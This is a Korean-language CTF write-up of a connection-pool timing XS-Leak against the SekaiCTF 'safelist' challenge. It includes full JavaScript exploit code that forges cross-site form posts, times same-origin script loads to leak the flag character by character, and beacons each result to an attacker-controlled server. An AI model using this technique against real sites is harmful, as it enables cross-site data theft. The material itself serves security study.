Connection Pool by Destination Example
이 exploit에서 @terjanq은 다음 페이지에서 언급된 도전 과제에 대한 또 다른 해결책을 제안합니다:
이 exploit이 작동하는 방식을 살펴보겠습니다:
공격자는 가능한 많은 수의
<img
태그가 **/js/purify.js
**를 로드하는 노트를 삽입합니다 (원본을 차단하기 위해 6개 이상).그런 다음, 공격자는 인덱스 1의 노트를 제거합니다.
그런 다음, 공격자는 [봇이 남은 노트를 액세스하도록 페이지를 로드]하고 **
victim.com/js/purify.js
**에 요청을 보냅니다. 그리고 그 시간을 측정합니다.시간이 더 크면, 삽입은 남은 노트에 있었고, 시간이 더 작으면, 플래그가 그 안에 있었습니다.
솔직히 말해서, 스크립트를 읽는 동안 공격자가 봇이 페이지를 로드하여 img 태그를 트리거하도록 만드는 부분을 놓친 것 같습니다. 코드에서 그런 내용을 볼 수 없습니다.
```html const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx"
let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() }
remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank"
let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() }
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = ${prefix}${letter}
+ Array.from(Array(78)).map((e,i)=><img/src=/js/purify.js?${i}>
).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } };
Last updated